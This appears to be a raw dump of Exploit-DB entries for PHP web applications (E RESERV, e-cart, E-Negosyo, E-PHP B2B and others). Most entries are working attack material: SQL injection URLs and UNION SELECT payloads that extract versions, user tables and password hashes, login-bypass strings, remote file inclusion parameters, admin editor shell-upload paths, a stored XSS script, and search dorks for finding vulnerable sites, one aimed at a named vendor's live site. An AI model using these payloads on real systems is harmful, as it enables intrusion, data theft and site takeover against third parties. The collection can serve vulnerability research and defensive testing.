deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5487
Description: E RESERV 2.1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-23
Author: JIKO

Exploit:
=========================================================
=============== JIKI TEAM [ Maroc And YameN ]===============
=========================================================
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : E RESERV VERSION 2.1
# Bug   : Remote SQL Injection Vulnerability
# Download  : http://cogites.com/e_reserv/index.php?num=21
=========================JIkI Team===================
# Exploit  :
 http://[Site]/[script]/index.php?ID_loc=[sql]
# Ex :
http://[Site]/[script]/index.php?ID_loc=-1 union select version()--
At Office Site
http://cogites.com/e_reserv/e_reserv/index.php?ID_loc=-1%20union%20select%20version()--
=========================================================
 greetz:
 all my friend and H-T Team and all No-back members and tryag.Com
 visit: www.no-back.org & www.tryag.com 
=========================================================

# milw0rm.com [2008-04-23]
Exploit-DB #23967
Description: E Sms Script - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2013-01-08
Author: cr4wl3r

Exploit:
# E SMS Script Multiple SQL Injection Vulnerability
# By cr4wl3r http://bastardlabs.info
# http://bastardlabs.info/exploits/E_SMS_Script.txt
# Good Music: http://goo.gl/TLkEs :)
# Script: http://www.esmsscript.com/index.php?option=com_content&view=article&id=22&Itemid=41
# Dork: inurl:"smscollection.php?cat_id="

Proof of concept:

Auth Bypass

  http://bastardlabs/admin/adminlogin.php
  Username: cr4wl3r
  Password: 'or'1=1

Blind SQLi

  http://bastardlabs/smscollection.php?cat_id=[Blind SQLi]
Exploit-DB #5605
Description: e-107 Plugin ZoGo-Shop 1.16 Beta 13 - SQL Injection
Type: webapps
Platform: php
Date: 2008-05-13
Author: Cr@zy_King

Exploit:
By Cr@zy_King / t4cs1zkr4L

crazy_kinq@hotmail.co.uk / K0Lp4Lara dikkat : )

Zogo-shop 1.16 Beta 13 & e-107 Zozo-shop Plugins remote Sql Ä°nj.

Down : http://www.mytipper.com/download.php?view.19

Sql : http://localhost/products.php?cat=-1+union+select+database(),version(),3,4,5,6,user()/*

Greatz : KnockOut / Dr.Hack3r / Crackers_Child / Rm-x / Tr_ip / DreamTurk / Eno7 / Sabot4qe

Online CGI/Perl Dersleri : http://www.coderx.org/Default.aspx?g=posts&t=89 / kaÃ§Ä±rmayÄ±n.

-----------------------Her ayrÄ±LÄ±k bir vurgun degmeyin ya$LarÄ±ma-----------------------

for exmp :

http://www.xxx.com/e107_plugins/zogo-shop/products.php?cat=-1+union+select+database(),version(),3,4,5,6,user()/* 

# milw0rm.com [2008-05-13]
Exploit-DB #29938
Description: E-Annu - 'home.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-04-30
Author: ilkerkandemir

Exploit:
source: https://www.securityfocus.com/bid/23727/info

E-Annu is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/home.php?a='/**/UNION/**/SELECT/**/0,password,1,2,3,4,6/**/FROM/**/user/**/WHERE/**/user_id=1/*
Exploit-DB #13867
Description: E-Book Store - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-14
Author: Valentin

Exploit:
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = E-Book Store SQL Injection Vulnerability
Author = Valentin Hoebel
Contact = valentin@xenuser.org


[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = E-Book Store
Author = Ed Pudol
Link = http://www.buymyscripts.net/5/e-Book_Store_web_site_script_bundled_with_120_ebooks_with_resellers_right.html
Affected Version(s) = unknown

 
[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 SQL Injection
target/search.php?search=Search&keyword=[SQL Injection]


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 14.06.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz = cr4wl3r, JosS
<3 packetstormsecurity.org!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #10698
Description: e-cart 3.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : e-cart 3.0 Multiple Vulnerabilities                                         |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : e-cart 3.0                                            |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Multti Vulnerability                                                    | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
|
| Backup
|
|  1- http://server/e-cart/admin/backups/
|
| Upload Shell
|
|  2- http://server/e-cart/admin/editor/images.php ** to Upload Evil
|  3- http://server/e-cart/admin/editor/image.php  ** too Upload Evil
|  4- http://server/e-cart/images/upload/Evil ** 2 Find Evil
|
| RFi
|
|  5- http://server/e-cart/admin/includes/application_top.php?language=[EV!L]
|  6- http://server/e-cart/admin/includes/application_top.php?current_page=[EV!L]
|  7- http://server/e-cart/includes/boxes/column_banner.php?language=[EV!L]
|  8- http://server/e-cart/includes/classes/shipping.php?include_modules[i][file]=[EV!L]
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #8474
Description: e-cart.biz Shopping Cart - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-04-17
Author: ahmadbady

Exploit:
                =-=-Remote Arbitrary File Upload-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::e-cart Shopping Carts
-------------------------------------------------
Author: ahmadbady

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.e-cart.biz/e-cart_Free.zip

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
upload:
/path/admin/editor/image.php --> upload shell.php

shell.php ---> /path/images/upload/shell.php

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=--=-=-=-=-=-=-

dork:
"Powered by e-cart.biz Shopping Carts & Storefronts"
"Powered by e-cart.biz Shopping Carts"

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2009-04-17]
Exploit-DB #12696
Description: E-Commerce Group - 'cat.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-22
Author: BLack Revenge

Exploit:
Exploit Title: E-commerce Group (cat.php) SQL Injection Vulnerability
# Date: 2010/05/21
# Author:BLack Revenge
# Software Link:
# Version:
# Tested on:
# CVE :
==============================
[#]E-commerce Group (cat.php) SQL Injection Vulnerability
[#]Founder: BLaCk RevenGe
Email:- ahmed.h4ck3r@gmail.com
WwW.AraB-ExplOiT.CoM[#]
AraB Expl0iT Cr3w
-----------------------------------------------------------
==============================
Dork :Designed and Developed by karkia <http://www.karkia.org/> E-commerce
Group. Copyright 2007

SQL Injection
http://www.Site.com/path/detail.php?id=1 -->SQL Injection

Demo:-
Password Injection #

http://www.localhost.com/shop/detail.php?id=-647+union+select+1,2,3,pass,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+user
----------------------------
Exploit-DB #43277
Description: E-commerce MLM Software 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-08
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: E-commerce MLM Software 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/e-commerce-mlm/
# Demo: http://74.124.215.220/~advaemlm/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/service_detail.php?pid=[SQL]
# 
# -6'++UNION(SELECT(1),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2)),(3),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16),(17))--+-
# 
# 
# 2)
# http://localhost/[PATH]/event_detail.php?eventid=[SQL]
# 
# -18'++UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()),3,4,5,6,7--+-
# 
# 
# 3)
# http://localhost/[PATH]/news_detail.php?newid=[SQL]
# 
# -27'++UNION+ALL+SELECT+1,(SELECT(@x)FROM(SELECT(@x:=0x00),(@NR:=0),(SELECT(0)FROM(INFORMATION_SCHEMA.COLUMNS)WHERE(TABLE_NAME=0x6d6c6d5f61646d696e)AND(0x00)IN(@x:=concat(@x,CONCAT(LPAD(@NR:=@NR+1,2,0x30),0x3a20,column_name,0x3c62723e)))))x),3,4,5,6--+-
# 
# 
# # # # #
Exploit-DB #3846
Description: E-GADS! 2.2.6 - 'common.php?locale' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-04
Author: kezzap66345

Exploit:
##############################################################################################
##############################################################################################
#E-GADS! 2.2.6 Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
###################################################################################
#
#ERROR:common.php
#
# require ("$locale/locale.php");
#
#BUG:
#
#Example:http://site.com/path/common.php?locale=[[Sh3LL Script]]
#
#Script Download
#############################################################################
#https://sourceforge.net/project/showfiles.php?group_id=88942&package_id=93125&release_id=444821
#
#Special Thanks:##### x0r0n ##### ajan ##### siircicocuk
#####################################
##############################################################################################
##############################################################################################

# milw0rm.com [2007-05-04]
Exploit-DB #34876
Description: E-Gold Game Series: Pirates of The Caribbean - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-08-27
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/44229/info

E-Gold Game Series: Pirates of The Caribbean is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/demo/caribbean/?y=1 and 1=1&x=1 TRUE
http://www.example.com/demo/caribbean/?y=1 and 1=2&x=1 FALSE
Exploit-DB #51944
Description: E-INSUARANCE v1.0 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2024-04-02
Author: Sandeep Vishwakarma

Exploit:
# Exploit Title: E-INSUARANCE v1.0 - Stored Cross Site Scripting (XSS)
# Google Dork: NA
# Date: 28-03-2024
# Exploit Author: Sandeep Vishwakarma
# Vendor Homepage: https://www.sourcecodester.com
# Software Link:https://www.sourcecodester.com/php/16995/insurance-management-system-php-mysql.html
# Version: v1.0
# Tested on: Windows 10
# Description: Stored Cross Site Scripting vulnerability in E-INSUARANCE -
v1.0 allows an attacker to execute arbitrary code via a crafted payload to
the Firstname and lastname parameter in the profile component.

# POC:
1. After login goto http://127.0.0.1/E-Insurance/Script/admin/?page=profile
2. In fname & lname parameter add payolad
"><script>alert("Hacked_by_Sandy")</script>
3. click on submit.

# Reference:
https://github.com/hackersroot/CVE-PoC/blob/main/CVE-2024-29411.md
Exploit-DB #48629
Description: e-learning Php Script 0.1.0 - 'search' SQL Injection
Type: webapps
Platform: php
Date: 2020-07-01
Author: KeopssGroup0day_Inc

Exploit:
# Exploit Title: e-learning Php Script 0.1.0 - 'search' SQL Injection
# Date: 2020-06-29
# Exploit Author: KeopssGroup0day,Inc
# Vendor Homepage: https://github.com/amitkolloldey/elearning-script
# Software Link: https://github.com/amitkolloldey/elearning-script
# Version: 0.1.0
# Tested on: Kali Linux

Source code(search.php):
                     <?php
                     if(isset($_GET['search_submit'])){
                     $search_key = $_GET['search'];
                     $search = "select * from posts where post_keywords 
like '%$search_key%'";
                     $run_search = mysqli_query($con,$search);
                     $count = mysqli_num_rows($run_search);
                     if($count == 0){
                     echo "<h2>No Result Found.Please Try With Another 
Keywords.</h2>";
                     }else{
                     while($search_row = 
mysqli_fetch_array($run_search)):
                     $post_id = $search_row ['post_id'];
                     $post_title = $search_row ['post_title'];
                     $post_date = $search_row ['post_date'];
                     $post_author = $search_row ['post_author'];
                     $post_featured_image = $search_row ['post_image'];
                     $post_keywords = $search_row ['post_keywords'];
                     $post_content = substr($search_row 
['post_content'],0,200);
                     ?>

Payload:
         http://127.0.0.1/e/search.php?search=a&search_submit=Search
         http://127.0.0.1/e/search.php?search=a'OR (SELECT 3475 
FROM(SELECT COUNT(*),CONCAT(0x716b787171,(SELECT 
(ELT(3475=3475,1))),0x[PII_REDACTED],FLOOR(RAND(0)*2))x FROM 
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- IsDG&search_submit=Search
Exploit-DB #35027
Description: E-lokaler CMS 2 - Admin Login Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-11-26
Author: ali_err0r

Exploit:
source: https://www.securityfocus.com/bid/45098/info

E-lokaler CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

E-lokaler CMS 2 is vulnerable; other versions may also be affected. 

The following example inputs are available:

Username: ' or 1=1-- -
Password: ' or 1=1-- -
Exploit-DB #17311
Description: E-Manage MySchool 7.02 - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-21
Author: az7rb

Exploit:
Exploit Title: SQL Injection MySchool Version 7.02
################################################## 
# Google Dork: "MySchool Version 7.02"
# Date: 05-21-2011
# Software Link: http://em.com.eg/
# Version: Version 7.02
# Author: az7rb
# Tested on : winxp sp3 Ar end bt5 
# Homepage : www.p0c.cc 
# Greetz : p0c Team & Dr.NaNo & All My Msn Messenger Friends
################################################## 
################################################## 
#################### wWw.p0c.cc #####################
################################################## 
# SQL :
# 
http://localhost/myschool/index.php?do=show_details&ID=[sql] 
# Example :
# 
http://localhost/myschool/index.php?do=show_details&ID=29' 
# SQL 2 :
#  
http://localhost/myschool/show_page.php?Page_ID=[sql] 
# Example :
#  
http://localhost/myschool/show_page.php?Page_ID=&table=users' 
# Link Control Panel :
http://localhost/myschool/login.php
##################################################
Exploit-DB #27119
Description: e-moBLOG 1.3 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-01-23
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16344/info

The e-moBLOG application is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/emoblog/index.php? monthy=2006017'% 20union%20select% 201,2,3,4,5, 6,7,8,9,10/*#1

http://www.example.com/emoblog/admin/index.php
username: aaa' union select 'bbb', '[md5-hash of anypass]'/*
password: [anypass]
Exploit-DB #45730
Description: E-Negosyo System 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-10-29
Author: Ihsan Sencan

Exploit:
# Exploit Title: E-Negosyo System 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/bsenordering_9-23-18.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18801

# POC: 
# 1)
# http://localhost/[PATH]/student/index.php?view=view&id=[SQL]
# 
GET /[PATH]/index.php?q=product&category=Cakes%27%20%20UNION%20SELECT%201,2,3,4,5,6,7,(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x),9,10,11,12,13,14,15,16,17,18,19,20--%20- HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sun, 28 Oct 2018 20:24:30 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/index.php?q=single-item&id=[SQL]
# ....
Exploit-DB #10680
Description: E-Pay - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : E-Pay  RFI Vulnerability                                                |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : e-pay * Copyright © 2003 IPayNow.com All rights reserved                |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : RFI                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/epay/popup.php?_REQUEST[read]=[EV!L]
| 2- http://server/epay/handle.php?_REQUEST[read]=[EV!L]
| 3- http://server/epay/index.php?_REQUEST[read]=[EV!L]
| 4- http://server/epay/src/a_affil.php?_REQUEST[read]=[EV!L]
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #10697
Description: e-pay 1.55 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : e-pay 1.55 RFI Vulnerability                                            |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Powered by : e-pay 1.55                                                 |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : RFI                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/e-pay/src/a_affil.php?_REQUEST[read]=[EV!L]
| 2- http://server/e-pay/popup.php?_REQUEST[read]=[EV!L]
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #13819
Description: E-PHP B2B Marketplace - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-06-11
Author: MizoZ

Exploit:
/*

Name : E-PHP B2B Marketplace Multiple Vulns
WebSite : http://www.ephpscripts.com/b2b-trading-portal.php
Price : 150 USD

Author : Hamza 'MizoZ' N.
Email : mizozx@gmail.com


*/

# XSS

- gen_confirm.php shows the error message of $_GET['errmsg'] , but it's not
protected against XSS

- Exploit : [HOST]/[PATH]/gen_confirm.php?errmsg=

# Blind SQLi

- contactuser.php suffers from a blind sqli in the get "es_id"

- Exploit : [HOST]/[PATH]/contactuser.php?es_type=3&es_id=62+and+1=(select
1)--

# SQLi

- listings.php suffers from a blind sqli in the get "mem_id"

- Exploit :
[HOST]/[PATH]/listings.php?mem_id=-207+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
Exploit-DB #32346
Description: E-PHP B2B Trading Marketplace Script - 'listings.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-07
Author: r45c4l

Exploit:
source: https://www.securityfocus.com/bid/31072/info

E-Php B2B Trading Marketplace Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/listings.php?browse=product&cid=-1+union+all+select+1,concat(version(),char(58),database(),char(58),user()),3,4,5,6,7,8--